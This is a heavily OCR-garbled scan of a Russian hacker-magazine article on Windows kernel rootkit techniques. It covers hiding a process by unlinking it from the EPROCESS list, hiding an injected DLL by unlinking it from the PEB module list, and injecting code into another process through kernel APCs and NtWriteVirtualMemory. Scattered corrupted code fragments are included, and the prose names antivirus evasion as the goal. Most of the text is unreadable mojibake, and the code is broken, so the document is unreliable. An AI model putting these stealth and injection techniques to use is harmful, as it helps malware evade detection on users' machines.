o6eI1.taH'Horo 3aBepweHHa6aHKeTa -
CTaTbH npo MYJIbTI1nJleep. MhI
ABl-1>t:.Ka, l-1 nOCBRTliITb ero
T80pl.leCKI1M: 06,D,YMbI8aHl.11O CIO>KlHa l-'t npopa6oTKe rei1Mnlles:fl
ECfl\1 Te6e 3aX04eTCfl el1.\€
a
4TO~Hl-16YAb y3HaTb 0 pa3pa60TKe l-1rp Is 4aC1
6bVlH shlHYJKlteHbl3anpOCl1l'b now;atJ;h1. npUHOCHM CBOH 113BlfHeHHH
HOCTlil,
BOT aHa, 31'8 CTa1'hH.
,ll.lll1 06w,eHliISl. YAayl.1 Te6e BO BCex H3'1liIHaH liI"X. I1rpOAeJl!:X::
XAKEP 05/125/09
KO,Ql-1pOBaHl.1l-1 )J,Bl.1>t:.KOBI. TO fllilWl-1, yurembo Bcer,Qa OTKpblT
~
105
,+++
»
i:£J
coding
EPROCESS
EPROCESS
KPROCESS
,.+++
I
I
~
i
,.+++
t.+++
II IaII _
LIST_ENTRY {
)
I,
ij L1STJNTRY {
I I
I
.+++
ij
I
FLIN~~: t:! L1l'l 1<.
I, KPROCESS
EPROCESS I,
KPROCESS
"
~
I'
ij
-,. LIST _ENTR'y' {
,4'
FLINK
•• •
•
...
i@.'"
",
FLlt'~K
•
BLINK)
+++
.+++
AfjEI<CAH.o.P 3KKfPf
I AlEICSANDR-EHI(KERTIiIRAMOLER.RU f
,.+++
.+++
,.+++
"
BHPM3EHKEPCKHE THnCbl HTPHKCbl lt1rPA B np5ITKlt1 HA YPOBHE 51,Q,PA np0l..\eCCbl B Windows [KaK Vl BJl1D60L:i APyroL:i OC) - 3TO Hawe Bce. OT 5'1Apa
+++
AO KaJl bKymHopa, onepa l..\VlOH Ha51 CVlCTe Ma n peAcTa BJl51 eT c060L:i Jl Vl Wb Ha60p np0l..\eCCOB. KorAa Tbl ABa>KAbl KJlVlKaeWb Ha 3HaYOK KaKoL:i-HVl6YAb
~
.+++
nporpaMMKVl, YT06bl3anYCTVlTb ee, B HeApax CVlCTeMbl npVlBoA51TC51 B AeL:i CTBVle orpOMHble pecypcbl, BbIAeJl51eTC51 naM51Tb, BbI3bIBaIDTC5'1 AeC51TKVl
I-
++
NativeAPI. .. Ii1 CerOAH5'1 Mbl noroBopVlM 0 TOM, KaK 3cPcPeKTVlBHO VlCnOJlb 30BaTb 3TVl pecypCbl B peweHVlVl HeTpVlBVlaJlbHblX 3aAay npVl pa60Te Cnpo
.,.1-++
~+-++
l..\eccaMVl Ha ypoBHe 51Apa Windows. m npOIlECCbl BWINDOWS c
iLJ ".f-++
HeKOTOpO>1 Hanl)KKO~
npoueCCOM BWindows
MQ)KHO Ha3BaTb Ha60p 6a~1T B onepanlBHoH
naM51H1, 3TO eCllV1 B l.\enOM. A B yaCTHOCH1 -
paMMbl, 3arpy>KeHHOC::; 8 OnepaTl-18HylO
, jLf-++
I
npc
ueCCOM 05bl4HO Ha3blsafQT 3K3eMnJl5lp npor
BbinOIlH5IeMoi:1
~
106
Windows.
naM,lTb \.1
nlO6oH npou,ecc CaCTGHT Vl3:
aApecOB BV1pTYaJlbHO~1 naM~n1, KOTOpi:>IM MO)KeT
• CTpyKT)'p ,QaHHbIX. cOAep:::t<aw,ltIx 8(10 \.1H¢>opMa
nOJlbJOaalbC" npou,ecc[L.
UIo1IO 0 np0l.\eCce. BTOM '-I\.1c.ne, cm1COK OTKpblTblX
• V1CnOJlHSleMoro Ko,o,a l.<1AaHHbIX, KOTopble
Al?CKpl-1nTOpOB pa3JlVl'-lHbfX Cl-1CTeMHbIX pecypcOB,
npOell,l1pylOTCSlS 8\'lprya.nbHoe aApeCHoe npo
YHl-1KaJlbHblL:!Io1AeHTIt1(~)l.1KaTOpn pou,ecca. pa3JIliIY
CTpaHCTBO npou.ecca.
G8, eCJ1l11 nOMHlt1Wb];
HylO CT8Tlt1cnl'lecKYIO V1 H¢OPMSU,I'IIO 111.,Q.:
Ma.nO-MSllbCK14 onblTHblL:! KOAep 3HaeT, 'lTO C03
• aApecHoro npOCTpaHClBS - AlIIana30Ha
AaHV1e Wln32 np0l.lecca OCYllleCTBJl5ierC"
UKEP 05/1251 09
»
coding
PID
Image Base
llOOOOOOO
oooaoooo
00J0()()(J4
0000000o
P"h • [system Idle Process] • [System Idle Process] • \systefTl"oot\SyslefTl32\.smss.ee2
00000264
48580000
.'??\"'...-.dows,system32I,c=.oxo
00000294
4A680000 0100000o 0100000o 0100000o 0100000o 0100000o
.\??\C:\windO¥lS\system32\l'ri:lQ::n.~ ~c:\windows\system32\services.e:xe ~c:\windows\system3Z\lsass.e.x:e
000OO2AC llllllOO208 000002<4
i:.l c:\windows\system32\,svc:OOs1:..exe
0000039O
t::!c:\windows\system32\svdnst.e:xe t:lc,\_IoY"~
00000301 lJOOOO<2C
t:l,,\-~
....
OOOOO'\A'\ (XX)()()4C8
LJc;\windows\system32\~.e:xe
00000528
t:l,,\...-.dows~_
Oc:\Prog'~l\ontrad\fix-t\trP:task.exe
c:J(:\windows\system~o.exe ~c:\ProgrMf1 files\comrnon fies\rriaosoft shared\vs7debug\mdrn.exe
01000000
0100000o 0100000o 0100000o
000006OO
00400000
00000610
0100000o
00000620
00400000
Path
Image~e
e\??\c:\windows\syslem32\csrss.exe
4A680000 7C900000
~c:\windows\system32\ntcl.cI
~c:\wndows\system3Z\csr5l'V.cI
~c:\windows\system32\basesrv.cI
~ c:\IYildows\svstem32\winsrv .cI
[iJ c:\windows\system32\gci32:.cI ~(:\windows\system32\kemet32.d1
75810000 75820000 75B30000 77FlOOOO 7CSOOOOO
&lc:\windows\system32\lMr32.d1
7E360000 7E690000
~"'_""'''''32\sxs.cI
~"'...-.dows~em32'adv""'.cI
~"\...-.dows'''''''''''''''''.cI
77OCOOOO
77E70000 77fEOOOO
~c:\wi'ldows\svstem32\s:el:.d1
YH1J1HTA PE-TOOLS nOKA>KET DLL, 3ArpY>KEHHbIE B npouECC
B6130BOM O~H0I11113 raKIllX
0Y/;KUlillil, r<aK Create Process.
llVITbC51 OTToro
KOll~4eCToa
pecypcoB
~
01CTeMHbiX BbI30BOB,
CreateProcessAsUser [AIlS;; Win NT/2000)li1
KOTopble OC 3a.o.e~cTByeT npl1 C03.o.aHIo1l>1 HOBoro np0l..\ecca!
CrealeProcessWithLogonW IHaYII1Ha51 CWin200011l1 l.A. Ho Ec.nli1 nOCMorpeTb H3
3a no,o.po6HOCT51Ml-l OTCbIJlalOTe6R KKHl-1re M. PYCC~HOBI4Ya
Bee :.'lTO KaCaeTC51 TOJ1bKO 103epMo,q3.
iIl.o,COJlOMOHa «8HyrpeHHeeycTpoiicTBO Windows», XOT51. no
C03AaHllle npou.ecca H3 ypoBHe R,Qpa, TO BOllOCbl HaYHYT weBe
npas,lJ.e. c npOrpaMMl-lCTCKO~TO'-!KiIl 3peHI-11'l QHa MallO 4TO,IJ.aCT. n03TOMY. e(lll>1 Te6513aillHTepecyeT nporpaMMHbI~ npouecc
Vlcnonb30BAHVlE APC .Qn51 VlH>KEKTA KO.QA pMdl '" IoAllocateMdl (pPayloadBuE dv-;BufSize, FALSE, FALSE, NL'LL); ~~probeAndLockPages(pMdl, KernelMode, Io;.JriteAccessl; KeStackActachProcess(pTargetProcess, &ApcState) ; MappedAddress '" MmMapLockedPagesSpecifyCache(pMdl, UserModc, MrnCached, NULL, FALSE, I
Norrr~lPagePrioritYI;
links
C03,QaHI4511>13anYCKa np0l..\ecca ill 3 5l,Qpa. m1Wl1 MHe Ha Mbl)10,
~
o6cYAI4M.
• .01151 flY4wero
LJTo::t<e MO)KeT AaTb YeCTHoMy xaKepYAOCTyn Ka.o.peCHoMy npoCTpaHCT8y npollecca?.o.a Bce 4ToyrO,L\HO!
yCBoeHI4~
aT 113MeHCH14l'1
MaTepl1ana
coeeTyIO CTaTbill (Ha
,o,aHHblX npOl\ecca 1-1 MaHl.1nylll>1po8aH~~ era OKpy::t<eHl4eM,
aHrJlIo1~CKOMI
enl10Tbp,o 3anycKa CBoero 3110Bpe.o.Horo [iIll1lA He OyeHb) ~op,a
<.What Goes On Inside
8
Windows 2000;
YY;4(OM ap,peCHOM npOCTpaHCTae,
nOJlYYI4TbAOCTYn Ka.o.peCHoMy npOCTpaHCTSyYy;4(oro npOl\ec
Solving the Mysteries
ca MO)KHO. ace 3TV! cnoco6bl xopowo AOKYMeHTl>1pOBaHbl. O,o,HO
of the Loader» [Ha
nllOXO - OHiIl AOBOllbHO 3¢!¢!eKTI48HO naJl51TC51 npoaKT~8KaMIIl
MSDN!. «Three Ways
1>1
cnel\l-1allbHblMiIl yn.1fll-lTaMl-l YTOAeflaTb') ne3Tb B Hyfl€Soe
KOflbl..\O!
Y)/r( TaM-TO liaM HltIKaKoiil NOD iIlJll-1 KaCnepCKl-1Ci nepe
Y~Tb He
6y,QeTI
to Inject Your Code into Another Process)) [W\N'Ncod.illK~t.
£.Q.IIl/.th reads/wins(!..'f
m COKPbIH1E npOIlECCA
asp) ~ «Dlllnjection»
5blfla paHbwe TaKa51 ¢~4a - 3aKa3Yl.1Kl.1 MaflBapl>1. Clle.o.yq
lwww.codebrei:l ~ers.:
MOAHblM TeH.o.eHl..\l-151M, Tpe60BallVl OT npOrpaMMl-lCTa «wo6
B
np0l..\eccax He BV\,QHa 6bll1a». 3TO 14 ceL1yac ,QOBOllbHO pacnpo
iow:f1al com/contenJi
YleY:!ll"l1J27).
CTpaHeHHblii xaKepCKl-1i1 npl>leM. HallelleHHblii Ha COKpblTltle OT 6,o,I>1TeflbHblx rna3 np0l..\ecca Tp0l'lHa [pyTKl-1Ta, Bl-lpyca 11
KeUnstackDe:achProcess(&ApcState); KeInicializeEvent(pEvent, NotificationEvent. FALSE); KeInicializeApc(pApc, pTargetThread, originalApcE~vironment,&MyKernelRoutine, NOLL, r~appedAddress, UserMode, (PVQID)NULL); KeInsertQueueApc (pApc pEvent, NULL, 0); I
XAKEP 05 /125/
O~
np.l. OroBoplOcbcpa3Y. 4TO cnoc06a, rapaHTl-lpYIOl1\ero 100% HeSVI,QI4MOCTb np0l..\ecca AJl51 pa311l>1CIHblX yrltlfll1T. aHH1B14peiil ill npoaKnlBHblx 3aLlll1T, He cYl1\eCTByeT. CKPblTbliii npou,ecc MO>K HO Bbl51BIIlTb scerAa. KaK? nOJW06HOCT14 MO>K€Wb n04t1TaTb Ha wV'Iw.w<lsm.ru . .01151 CKPbIT~1'l np0l..\eCCOB 8 User Mode 06bl4HO l>1CnOflb3yeTCSl TeXHOJlOrl-l518He,QpeHI-151 CBoero KOJ,'la 8 ,"Y>Kl-le np0l..\eCCbl ill
~107
.+++
EPROCESS
EPROCESS
ij
" KPROCESS -I
,+++
'itc=J c'+++
+++
'tt:::::J
_
I
~
y611lpaeTC\111lHTepeCYIOw,I1~Hac
L
PEPRQCE:SS ePROC
= PsGetCurrentProcess ()
B
ySystem Informatio n(System ProcessesAn dThreadsl nforma t
,ElaHHyIOTeMy. a norosOpl'IM
ion.. J Haxo.olilM HY)I(HbiV. HaM npo14eCC ~3 06w.ero cnlilCKa Ina
CI1Tb Hl-1yero He 6YAeM, nOCKOfTbKY :no 04eHb flertl;O 8blflBItlTb .
PIO·y npo14ecca ltlJ1lil no ero ltlMeHltl) 33TeM HeMliQro nOKoJ1AyeM
Mbl nO~,D,eM ,QpyrHM nyreM. TeXIH1Ka He Hoea, HQ ,ll,OCTaTO"lHO
C,ll,SyC8Sl3HblMYl cnViCK3Mlillil3 CTPyKTYpbl EPROCESS Vi ... syaJlSl!
3q>q,eKTlIlBHa.
3anYllleHHbl~
Ka)l(,IJ,blYt npOL-4eCC 8 OC Windows npe,QcraBfleH CTpyKrypoVi
BOT, B npV1Hl.\lilne, lil Bce. Apai1sep. peall113ylOlllVii1 COKpblTlile
CTpYKTYpax MeHS1lOTCS1
EPROCESS, KpoMe BrpVl6yroB npOl.-lecca, OHa (CblllaerCfl Ha
npOl\ecca lil3 MeHeA>Kepa JaAa4.
CMew,eHYlSl. BcerAa
HeCKOJlbKO ,QPVrl1X crpyKTyr, r:Rfl38HHbIX c BblnOflHI1IQl.L.l14MC51
Aep>Klil no.o PYKOI1
npou,eCCOM, HanplIIMep, C Ka>K,!J,blM npOll,eCCOM CBR3aH O,QVlH
nporyTYlna PdbDump,
VlJ]l.1 HeCKOJlbKO nOTOK08,
KOTOpa51 nOf..lO>KeT Te6e
Typo~ ETHREAD. CTpyKTYpbl EPROCESS, 8 C6010 OyepeAb,
K
MHorltlX CltlCTeMHblx
CB~3aHbl
Mbl€ CI.1eU-\eHlilSl
npow.eHI1S138 T8ST01l0rlillO. B K3)t(,ll,0I1 T8K0L4 CTpyKTYpe np\o1
B KpyroBo~ ABYC6S13Hbl~ ClllilCOlC
;+++
TO eCTb, npowy
tr::=J
YacTO ManBapb nOCTaBllSleTCS; KOH€YHOMY lO3epy He KaK OTAellbHblv. eXe-WHltl:< [noCKOnbKyerc 11erKO OTJ10BI1Tbl. a KaK OT,ll,eflbHaSl6lil61llilOTeKa dll, nO.QrpY>KeHH'Hl 6 a.opeCHoe
HaVlll1 TeKYl.1\lilt.1 EPROCESS. npo6e::teaTbcSl no BceMy ClllilCKY,
.oypHO: CTAellbHoro npOl\eCca HeT, a V,CK2Tb nONPy)l(€HHylO
H3(;tTlil npol\ecc, KOTOpblL4 HaAO CKpblTb, noclle yero ClllilH
dll 6 aApecHOM npOCTpaHCTae Apyroro npOL\ecca - 3aAaya
KOBaTb npeAblAYl.l\lilL4lil noclleAYIOw,lil~ npol\eccbI. r1Plil JTOM
TPYAoeMKaSl. 3TOT HexlilTpbl(:i xaKepCKlilL4 npl1€M 3aJ<fl104aeTcSl
o6Sl3aTeJ1bHO HaAO nOMHVlTb 0 10M, "iTO 8 Windows oT6lilJl,ll,a K
8
6lilJlAY MeHSleTCSI «COCTas" He,ll,OKyMeHTl1pOeaHHblx CTpytayp lil,
4epe3 8bl30B VirlualAllocEx!WriteProcessMemory ~1 3areM
COOTeeTCTseHHO,
BblnOflHltlTb ero nocpe,o,CTSOM Create Remote Thread
cMew,eHlil~
Ha Hy>KHble HaM nOIlSl.
TOM, YTo6bl3anl1caTb
Bnp04€M, cnp3SeArH-IBOCTltl pa,o,Yl ~Ka)l(Y, YTOTpfOKnaJ1lHCR
PsGetCurre ntProcess[J:
CKpoeM HaLUy JIlOBpeAHylO dlllil3 cnlilCKa 3arp¥'KeHHblx B An
¢lopMaT
BHA
g
-A1oIcr1e:T~ep :JaAa~ Wmdows
>!latin
81\4
flapal-IeTI)bI
Crpaelca
I)loueccbl
3Mepwe1'll'le paOOlbl
\o1!'1$1 no1b3OBaTenA I
un
n->.
aneKCeH
00
39521<6
lNSTDRV.EXE flashget.exe
aroeKCeI1
00
wscntfy.exe a\c;l.exe
""""""
aneKl:et1
00 00
222<1K6 10776 K6 2132K6
LOCAl SERVlCE NETWORK SERVICE
00 00
inetinfo.exe
SYSTEM SYSTEM
mxtask.exe
SYSTEM
ctfmon.exe
o!lnelOCet1
00
00 00 00
PS.exe
o!lneKCeH
00
magent.exe
aneKCeI1 aneKcel1
00 00 00
aneKCel1
SYSTEM lOCAl SERVICE NETWORK SERVICE LOCAL SERVICE
9 9<1S K6 2492 K6
30nK6 3836 K6 S4660K6 3860 K6 12268 K6 6984 K6 .. S20 K6 3532 K6
00
'7321<6
SYSTEM r£TWORK SERVICE
00 00
26908 K5 222<11<0
NETWORK SERVICE
00
• sao 1<6
00
SYSTEM SYSTEM SYSTEM
00
00 00
'6881<6 IS<fOK6 • 084 1<6 38681<6
SYSTEM
00
.. 236K6
srIlSs.exe
SYSTEM
00
sqlservr.exe
SYSTEM
00
6eJAciicTSI1e CHCTeN>I
SYSTEM SYSTEM
00 ..
mK6 9904 K6 236K6 28K6
.,,
W Oro6pa)l(an. npouCCCbl eC8X 1lOJb308<lTeneH
}++ ~,
~ 108
00 00 00
35601<6 16561<6 20841<6
SYSITM
winIogon.exe cstss.exe
n:::J
I
taslrmQr. exe
wdTngr.exe
'++
Ilb1lb308aTe1ll1
t.1IoIs:l 06pala
svchost:.exe SQbowser.exe svchost.exe svchost.exe lsass.exe services.exe
}++
Cnp&>l(<'l
I~TPOAet:ic-r8He I CeTb
svdlost,exe
tt=J
KOA
aHH16\o1p51Mlil. nonpo6yeM HeMHoro OCflO)l(HlilTb lo1M >Klil3Hb
StatusClient.exe explorer.exe spooIsv.exe svchost.exe
,++
naM51Tb 4y)t(OrO npol\eCCa CBOM
CTpyKTypy EPROCESS. 3ro AellaeTC51 Bbl30BOM ¢YHKl\lillil
sq!serw.exe mdm,"""
++
8
nepeoe. 4TO Hy>KHO C,ll,ellaTb, :no n011Y4V1Tb YK838Te11b Ha
Ilpt1f1OlKeKtA
;++
v
npOCTpaHCTBO KaKoro-Hlil6YAb npou,ecca. A '-110, coeceM He
Tet<cToBblH AOKYlleHT.blt 6nOKHoT ~
Ha ,QlilCKe.
npeAbi,ll,YlllYIO lil nocneAYfOlllYIO CTpYK1ypbl. Hawa l\€ J lb
6J10KHOT JAnY\UEH. HO B Cnl1CKAX npOUECCA HET • .._ ~ r:;; "
ltlU~lil
3ArpY>KEHH0I1
B npOIlECC DLL
cyTCTByeTyK83aTeJ1b H8 LIST_ENTRY, cO,ll,ep)l(all\l1V1 YKa3aTeJ1lil
,..'+++
np0Ll,ecc ViC4e3aeT lil3 t-4eHeA>Kepa 3aAa4
m COKPbln1E
npeAcra611eHHblx 6 ClilCTeMe CTpyJ<
H3XOAlilTbHeo6xo,ll,Yl
+++
if~+
.
He 6YAeM CeL44aC pa36lilpaTb, K3K lilMeHHO OHa AeL4CTsyeT
o TOM, K8K CKpblTb np04€CC, Haxo,Q51Cb 8 SOI,!J,pe Windows. CnJlaYt
611J1AY 60
____I
eClllillilHTepecHo, nOKOnaYlCfI B OT112,ll,4lilKe. Bbl30BoM ZwQuer
Bnp04eM, He 6Y,QeM yrny6JlflTbCfl
• B ~Ape Windows
~
" KPROCESS
L.
npouecc.
H8
'++
I
(\'I ltTI13 nOfly'-leHHOrO cnWKa
warning
aT 6lilJl.oa
L
KPROCESS
nepexsara ¢YH KlJ,\1\4 ZwQuerySystemlnlormationlSyslemProc essesAndThreadslnformallOn .... 1 Vl3 ntdtLdll. OHO cnJ1a~CI1T
G ~
c+++
--.....
I,
EPROCESS
JO
r""''''''1q1, 0%
3aeepu.tftb l'1lO'-tecc
I
~e.netfle.--TH: 273M6/6
XAKEP 05/125/
O~
»
npowecca, KaKTbi 110MHL.1Wb, 8 51,a,pe Windows ,a,11\1 pa60Tbi C ilpou,ecc2MV1 V1cnol1b3yeTc>I W€fl3>1 C3MblX B3)f(HbiX W€CC3»
Ky l l3 CTpyKTyp, O,a,H3 V13
3TO «5flOK nepeMeHHblX oKpY)f(eHl1>1 npo
[Process Environment Block, PEB). DflOK npeAcTaB
coding
,Q06poro l-1 xopowero npowecca. To 6lt1Wb, BblnOIlHV1Tb V1H>KeKT
Ko,o,a -
1.13 51)J,pa V1 He npV1BfleKa}l BHl.1MaHV1>!6,a,meflbHbIX npo
aKH1BoK.
,oJl>! HOBV1Y KOB, B03MO>KHO, 3TO 6Y,QeT HenpoCTO, HO, eCJl L1
fl\1eT c060~ He,a,o,'(YMeHH1poB2HHyto)ll KpV1TV1yeCKItl B3>KHYto
y Te5" eUb onblT nporpaMMYlpOB3Hl-11l B Il,o,pe, Tpy,ll,HOCTev.
IJ,Jl\1 HOpM3JibHoro cjlYHKL\lt101-:lt1POB3HIIIQ npoqecc3 cTpynypy.
TyT HeT
KOTopall C03p3eTCIi V13anOilHlleTC51 Ha CT3,a,V1V1 e03,a,aHV11l npo
MexaHV\3M OC Windows npep,ycM3TpV1B3eT APC
• Ha .L\lt1CKe Tbl
Asynchronous Procedure Ca ll- YTO-TO TV1 na «coo6ll1,e
Hai1,1J,eWb ,lJ,pav.Bep,
wece3.
K npl.1Mepy,
B He~ co,a,ep:>K3TCIl T3KI.1e B3:>KHbI€ nOil>l,
, dvd
K3K PEB_LOR_DATA V1JiV1 PROCESS_PARAMETERS. A 80T
HV1~», KOTopble MoryT ,QOCT3BflllTbC" nOToKy p,flR SblnOJlHe
peaIlL13YlOllI,l-1~ COKpbl
y:>Ke 8 PEB_LoR_OATA CO,Il,ep:>KV1TCI1 cnV1COK 6J1l6flV10TeK, 33
H 11111 onpe,QeIleHHblX cjlyH KWYlV.. n pV1yeM nOTOK 0 H V1X MO:>KeT
Tlt1e npowecca, aT3K:>Ke
rpy:>KeHHblX B 3ApeCHoe npOCTp3HCTBO npOl.(eCC3, OH-TO HaM
HIIIyero He 3H3Tb. VlX-TO Mbll-133,a,ewcTByeM. ,oOCTaBJl>!KJllI,V1\1
HeCKOfl bKO ,a,pyrV1x
V1 Hy:>KeHI nOIlYljVlB YK333Teflb H3 PEB, Mbl 331.1MeeM YK333TeIlb
KO,Q on pe,QeIllleT CBOIO callback-cjlYH KWl-11O tJ,fl>l APC, KOTOp311
cjlL14,OnL1CaHHbIX
Ha ,a,8YC81l3Hb1Vt Cnl.1COK dU, 3arpY)f(eH HblX 8 npowecc: Peb
6Y,QeT Bbll10flHeHa B KOHTeKCTe Tpe6yeMoro nOTOKa. H3
B CTaTbe W npe,QH33Ha
-7 Loaderoata -7lnL03dOrderModuleList Tenepb, 'Ho6bl
n pV1Mep, MexaH 1113M APC YlcnoIlb3yeTCl1 B T3 KOM BaA<HOM
yeHHblX ,QJl>1 V13yyeHV1>1
en p>lTaTb dll OT 8C\1yeCKIIIX yTL.1IlVlT, npoCTo nOCTynlt1M TaK
MeX3HV13Me nOTOKOB Windows, K3K npIIIOCTaHOBK3 lt1 BOCCT3
npoweCCOB.
A<e, K3K VI 8 CIlYliae COKPbITL1\1 npoweCC3 lt13 cnV1CK3 3a,a,3Y
HOBfleHV1e (suspend/resume) nOTOKa. rflaBHoe npeYlMY
U1V1 HKyeM coce,a,HV1e yK33aTeflV1 B In L03dOrderModuleList.
llI,eCTBO APC C TOYKl.13peHYI\1 M3f1BapV1 - TO, YTO APC tJ,flll
~T3K, ,a,06b18aeM YKa3aTeflb H3 PEB T2KYl1.\erO npowecca s
3HTV1BV1peili YI npaKTlt1BOK -
Usermode'
onepaWYll1, BblnOIlHReM3>1 OC, III n03ToMycooTHeCH1 Bbl30B
3TO COBepweHHO HOPM3IlbH31l
APC co 3IlOBpe,a,HbIMl.1 ,QeWCTBl-1I1Mlt1 M3IlBapYl ev. 6y~eT Kpa v.He Tpy,QHO. 60Ilee nO,Qp06HO [npaB,Q3, H3 aH rIl V1WCKOM)
PEB* GetPEB ()
o Bbl30Be APC PEB* pPeb;
MOA<HO nOYV1T3Tb 3ACCb: htlpl/www.cmkml
com/a rC-lI serape. him l.
~
\!traK, nepBoe: Bbl,QeJl>leM KyCOK naM,Hl-1 B Bl.1,Qe MOL, KOTOPbl~
• ,oIl\1 OTIla,ll,KV1 ,Il,pa~
info
petsh fs: [Ox30]
3aTeM 6y,o,eM L1CnOIlb30B3Tb,a,IlI1 3anV1CV1 Hy)f(HOro H3M KO,D,a.
sepOB 06113aTeIlbHO
pop pPob
3aTeM anaYl-1MC$1 K TapreT-npoweccy, nOCfle yero flOYIo1M B
Hy)f(eH OTJla,lJ,YVlK
to3epMO,ll,HOW n3MI1TV1Bbl,a,efleHHbl~ H3M YY3CTOK n3MIlTV1
ll,ll,epHoroypOBHI1 mna
OTKJllOyaeMC}l OT npOL\eCC3 YI Bb13b183eM np0lt1HV1WIll3IlI.13V1PO
SoftlCE VlflV1 WinDBG.
J'.2turn pPeb;
BaHHbl~ APC, KOTOPblW 6y,a,eT BbinOflHeH CL1CTeMO~ B KOHTeKCTC
Vl
O,QH oro TapreT- npowecca
CL1MBOflbl C www
T3KKe MO>KHO Bbl3B3Tb cjlyHKWIo110 ZwQueryinform3tionProces5
3,Qecb Hy:>KHO npe,a,ycMoTpeTb nOTOK TargetThre3d, r,a,e 6y,QeT
mICrosoft
C KflaCCOM IIIHcVopMaw,Hl ProcessBasicinrormalion, B :nOM
Bb1l10nHI1TbOl KO,a,. 06b1YHO npV1 peweHV1V1 :noi:1 np05IleMbi
~O,rJ1!w..b,g.cJ
cnyyae B 6y¢ep 3anL1WeTCIl cTpynypa PROCESS_BASIC_
HaXO,QYlTCIl cYlll,eCTsytoll\V1V. nOTOK B npowecce Bbl30BOM
De.0'QQlslDeb uggj ngj
IN FORMATION, O,QHO 1'13 nOflei:1 KOTOpOi:1 L1 eCTb YK333TeIlb Ha
PKTHREAD thread=KeGetCurrentThread(),
symbolpkg .r:nspx
PEB, 3aMeYy, YTO a.o.peca PEB.o.Ml Bcex npoweccos aH3flO
B ,QonO!lHeHl.1e
rV1YHbl, 60Ilee Taro, PEB Bcer,1\3 Haxo,a,l'1TC\1 B BY1pTyaflbHoM
anaYV1BW\-1Cb K KaKoMy-Illt160 npoweccy. KpoMe V1H)f(eKT3 KO,Q3,
He 3a6YP'b CKayaTb
K BblweCK33aHHOHY MOry CKa3aTb, 4TO, npl.1
a,QpecHOM npOCTpaHCTBe npowecca no 2,Qpecy Ox7FFDFOOO.
MO)1(HO 6123 OC06blX npo6neM CYV1TbIB3Tb Hy>KHble ,lJ,3HHble '11"
B ",[ipe nOIlYYV1Tb YKa33TeIlb H3 PEB MO>KHO CIleAYlOllI,V1M 06
pe3 Bbl30B NtRe3dVitualMemory \-1IlL1 A<e npoV13Bo,QL1Tb3anV1cb - - - - - - - - - - - ,
pa30M:
B atJ,pecHoe npoCTpaHCTBo npowecc3 COOTBeTCTBeHHOCTV1 !.jepe3 NtWriteVirtualMemory. K nplt1Mepy, !.jTO-HV16YAb Bpo,Qe:
PEPROCESS eProcess = PsGetCurrentProcess () ;
p?eb = (PVOID; (* (PULONG) ( (PCHAR) eProcess +
PEPROCESS process = psGetCurrentProcess () ;
PebOffset) )
KeAttachProcess{process); NtWriteVirtualMemory{process_handlc,
BOT elll,e OAHO HexV1Tpoe peweHV1e llT06bl 3alll,lt1TIIITb npo
address, buffer, numbytes, NULL} ;
wecc OT nOnblTKl.1 H3C1H1 TaM CKPblTYto dU, c.o.eflaeM nepexB3T cjlYHKl(V1V1 NtReadVirtualMemory. 33TeM TOYHO TaK>Ke Ha~)J,eM cm1COK 3arpYA<€HHbIX 6v,6flV1oTeK, lt1CKf1IOYIIIM H3WY dll-Ky V1 803
KeDetachProcess() ;
CESS
~CEC"~
~
::J
Sp3TY1M ynpa8,~eHL1e Bbl3B3sweMY KOP,Y. TaK, nyreM M3Hlt1nYJl\1 Wlt1W c PEB' OM MO>KHO OCYlll,eCTBV1Tb 33ll1,V1T'j SHe.o.peHHoM dll OT
He 336YAb npOBepL1Tb, V1Meer IlV1 CeKWV1>1, Ky,Qa XOlleWb np0l-13
YTeHV1I1. 06a npV1Mepa, peaflV130saHHblx H3 C, IIIll1,VI Ha p,V1CKe.
seCTV1 3anV1Cb, arrpl.16yr «write3ble», l-1H3ye nonblTKa 3anV1Cl.1
TexHV1Ka COKpbITL111 dll, KOTOpyto Mbl TOIlbKO 'HO paCCMOTpefll.1, He
~Sfl~eTC>l
YeM-TO npl'1HWL1nlllaflbHo HOBbIM, V1 Tbl flerKO CMO
>KeWb C Hev, p3306p2TbCIl. Ho 3TO TOflbKO H3ljallO. Cfle,o,ylOllI,l1M
s non-write3ble yyaCTOK naM>lTL1 npV1Be,QeT K BSOO'y. TaKOBOv.
••
no YMOfl43HV1KJ $1BJl>leTOl ceKWl-1>l KO,l1.3, HO npo6fleM3 peWaeTC\1 IlerKO -
Hy)f(HOW ceKWV1W npoCTo npV1cB3WSaeTC>I anp1'16yr Afl>l
3TanOf.i 6Y,QeTTeXHV1K3 nO,QMeHbl caMoro PEB, KOr)J,a nyreM
3anItlCt.1.
FlKIo1X >KC M31-Il-1r'YIlIlWlt1~ B T3prCT-npowecc OCYlll,eCT8fl>leTC"
«TaK nOYE'MY V1Mel·IHO ringO, BC,o,b TOr:>Ke caMblM V1H>KeKT
nOAfpy3Ka cjleC1KOBOC1 dllsMeCTo K3KOV.-Hlt16YAb 33KOHonoc
KO,Qa MO)f(HO ycnewHo C,QeIlaTb V1 B 103epMo,a,e?»,- MOA<eWb
nywHOVt user32.dll. Ho 06 3TOM 8 .D.Pyrow pa3.
ENTRY {
CnpOCYlTb rbl. OTKpOIO TawHy -
(
)
Ko,o,VlHr B HyfleBoM KOflbl.(e He
TaK CTpaweH, K;;ll( MO>K8T nOK333TbC>I Hil nepBbli1 B3rfll'l,Q V1,
f:l
I1H>KEKT KOAA
ATenepb -
0 caMOM l-1HrepecHOM. HaM Heo6xo,QIIIMO I.1C
nOf1HV1Tb CBOW He 04eHbAo6ponopq)J,OYHbl~KO,a, B KOHTeKCTe XAKEP 05/125/ 09
BMeWIIISa>lCb B pa60Ty >l,Qpa CBOlt1MV1 pyKaMIII, Tbl H3<4HeWb LlY8CTBOBaTb ce6>l «nOBenV1TefleM M3IJJV1H»
WyrKa. ECIlL1 eCTb
BonpOCbl, nV1WV1, 06Cy,o,l.1M! X
~109
~~~~~~~~~~
>> pht""€'.aking
t:::J~t:::J~
~~
t:::J~
~~~
~~~~
~~~~~~~~~~~~~~~~~ ~~ ~~~~ ~~~ ~~~~~~~~~~~~~~~~~~~~~~ ~~~~ ~~~~ ----------~
BA1\W.t _DOCTOR V_M_CN»AAHbWl-lH
I YURIK_YUROK2fi1HAIL.RU I
1----------
ocu,~nnOrPA<I>!!!
r
ne-epp~KepCK~
06y3AaVi ere
